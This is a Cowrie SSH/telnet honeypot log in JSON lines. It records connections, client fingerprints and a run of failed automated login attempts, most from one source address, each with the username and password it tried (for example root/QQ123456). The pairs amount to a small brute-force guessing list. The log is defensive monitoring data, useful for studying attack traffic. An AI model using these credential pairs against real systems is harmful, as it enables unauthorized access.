{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:23.323810Z","src_ip":"192.109.200.237","session":"77c83b6f5297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:23.572949Z","src_ip":"192.109.200.237","session":"77c83b6f5297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:24.658907Z","src_ip":"192.109.200.237","session":"77c83b6f5297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38428,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef1e5f56f5a","protocol":"telnet","message":"New connection: 152.42.224.71:38428 (10.17.0.5:23) [session: 2ef1e5f56f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:25.822382Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33434,"dst_ip":"159.203.135.109","dst_port":22,"session":"34a0021b6f9f","protocol":"ssh","message":"New connection: 192.109.200.237:33434 (159.203.135.109:22) [session: 34a0021b6f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:26.567360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:26.572024Z","src_ip":"192.109.200.237","session":"34a0021b6f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:26.654138Z","src_ip":"192.109.200.237","session":"34a0021b6f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:26.900118Z","src_ip":"192.109.200.237","session":"34a0021b6f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:27.985583Z","src_ip":"192.109.200.237","session":"34a0021b6f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33436,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dcea1b05b19","protocol":"ssh","message":"New connection: 192.109.200.237:33436 (159.203.135.109:22) [session: 3dcea1b05b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:30.019962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:30.026813Z","src_ip":"192.109.200.237","session":"3dcea1b05b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:30.122311Z","src_ip":"192.109.200.237","session":"3dcea1b05b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:30.377486Z","src_ip":"192.109.200.237","session":"3dcea1b05b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":48464,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b5e9183c3da","protocol":"ssh","message":"New connection: 43.153.37.39:48464 (10.17.0.5:22) [session: 8b5e9183c3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:30.948090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:30.953902Z","src_ip":"43.153.37.39","session":"8b5e9183c3da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:31.023066Z","src_ip":"43.153.37.39","session":"8b5e9183c3da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987poiu","message":"login attempt [root/0987poiu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:31.328614Z","src_ip":"43.153.37.39","session":"8b5e9183c3da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:31.469485Z","src_ip":"192.109.200.237","session":"3dcea1b05b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:32.401196Z","src_ip":"43.153.37.39","session":"8b5e9183c3da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38176,"dst_ip":"159.203.135.109","dst_port":22,"session":"b12e8f89b4b2","protocol":"ssh","message":"New connection: 192.109.200.237:38176 (159.203.135.109:22) [session: b12e8f89b4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:33.338939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:33.343349Z","src_ip":"192.109.200.237","session":"b12e8f89b4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:33.425825Z","src_ip":"192.109.200.237","session":"b12e8f89b4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.59964656829834,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:33.609351Z","src_ip":"152.42.224.71","session":"7c929e0edc7d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:33.768431Z","src_ip":"192.109.200.237","session":"b12e8f89b4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:34.854998Z","src_ip":"192.109.200.237","session":"b12e8f89b4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38186,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7c0f1c790f1","protocol":"ssh","message":"New connection: 192.109.200.237:38186 (159.203.135.109:22) [session: b7c0f1c790f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:36.750681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:36.756040Z","src_ip":"192.109.200.237","session":"b7c0f1c790f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:36.843207Z","src_ip":"192.109.200.237","session":"b7c0f1c790f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:37.091880Z","src_ip":"192.109.200.237","session":"b7c0f1c790f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:38.178128Z","src_ip":"192.109.200.237","session":"b7c0f1c790f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57260,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6cd9751f967","protocol":"ssh","message":"New connection: 192.109.200.237:57260 (159.203.135.109:22) [session: a6cd9751f967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:40.079492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:40.084959Z","src_ip":"192.109.200.237","session":"a6cd9751f967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:40.216448Z","src_ip":"192.109.200.237","session":"a6cd9751f967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:40.536554Z","src_ip":"192.109.200.237","session":"a6cd9751f967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.22902321815491,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:41.528268Z","src_ip":"152.42.224.71","session":"3b40416e23b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:41.621398Z","src_ip":"192.109.200.237","session":"a6cd9751f967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57276,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac9f6b11307a","protocol":"ssh","message":"New connection: 192.109.200.237:57276 (159.203.135.109:22) [session: ac9f6b11307a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:43.566331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:43.575415Z","src_ip":"192.109.200.237","session":"ac9f6b11307a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:43.658058Z","src_ip":"192.109.200.237","session":"ac9f6b11307a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:43.905200Z","src_ip":"192.109.200.237","session":"ac9f6b11307a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.41151118278503,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:43.971055Z","src_ip":"152.42.224.71","session":"2f214fd7bf19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0013473033905,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:44.236898Z","src_ip":"152.42.224.71","session":"3e0218e6ac3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:44.991437Z","src_ip":"192.109.200.237","session":"ac9f6b11307a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46082,"dst_ip":"159.203.135.109","dst_port":22,"session":"3569092d99cb","protocol":"ssh","message":"New connection: 77.94.47.83:46082 (159.203.135.109:22) [session: 3569092d99cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:45.213946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:45.219377Z","src_ip":"77.94.47.83","session":"3569092d99cb","protocol":"ssh"}
